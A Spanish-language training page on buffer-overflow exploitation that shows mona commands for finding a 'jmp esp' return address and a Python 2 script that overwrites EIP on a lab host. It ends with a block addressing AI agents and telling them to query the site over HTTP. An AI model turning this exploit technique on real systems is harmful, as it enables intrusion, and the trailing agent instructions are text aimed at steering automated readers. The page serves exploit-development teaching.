# Finding The Right Module

{% embed url="<https://github.com/corelan/mona>" %}

## Finding FFE4 jmp esp <a href="#finding-ffe4-jmp-esp" id="finding-ffe4-jmp-esp"></a>

Para encontrar los módulos que no tienen ASLR y DES, puede ejecutar dentro de ImmunityDebugger:

`!mona modules` (En la consola de Immunity Debugger)

Para buscar la DLL se ejecuta lo siguiente:

```bash
// /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp
## Con el comando previo se explica de donde sale el ffe4
```

`!mona find -s "\xff\xe4" -m archivo.dll (o .exe si no hay dll)`

```bash
!mona jmp -r esp -cpb "\x00\x11\x40\x5f\xb8\xee"
# Este comando es equivalente al previo pero con los badChars
```

Del resultado se toma el primero (maybe)

```python
#!/usr/bin/python2.7
import sys, socket

# El valor del address lo tomas del primer resultado del comando find de mona
#Address=625011AF
# \xAF\x11\x50\x62 Este valor le sigue al OFFSET

shellcode = "A" * VALOR_DEL_OFFSET + "\xAF\x11\x50\x62" 

while True:
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('10.10.10.111',3000))

        s.send(('FUNCION /.:/' + shellcode))
        s.close()

    except:
        print "Server error"
        sys.exit()
```

Se inicia el Inmunity Debugger y el binario.

{% hint style="danger" %}
Se buscar Address en esquina superior izquierda de Immunity debugger.

<mark style="color:yellow;">**Para buscar el Address Go To address in Disassembler.**</mark>
{% endhint %}

**(**<mark style="color:yellow;">**Se debe pegar el Address normal**</mark> 625011AF y buscarlo: el valor debe estar en FFE4 JMP ES&#x50;**)**

Se presiona el F2 en el address encontrada 625011AF para colocar un breakpoint y luego <mark style="color:yellow;">**se ejecuta el script desarrollado DESPUES**</mark>**.**

El EIP debería cambiar con el Valor del Address.

### Pasos extra para DBG <a href="#pasos-extra-para-dbg" id="pasos-extra-para-dbg"></a>

```bash
# Click derecho
# GO TO
# EXPRESSION
Configurar la expression con el valor del address a buscar
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpics/buffer-overflow/explotacion-del-buffer-overflow/finding-the-right-module.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
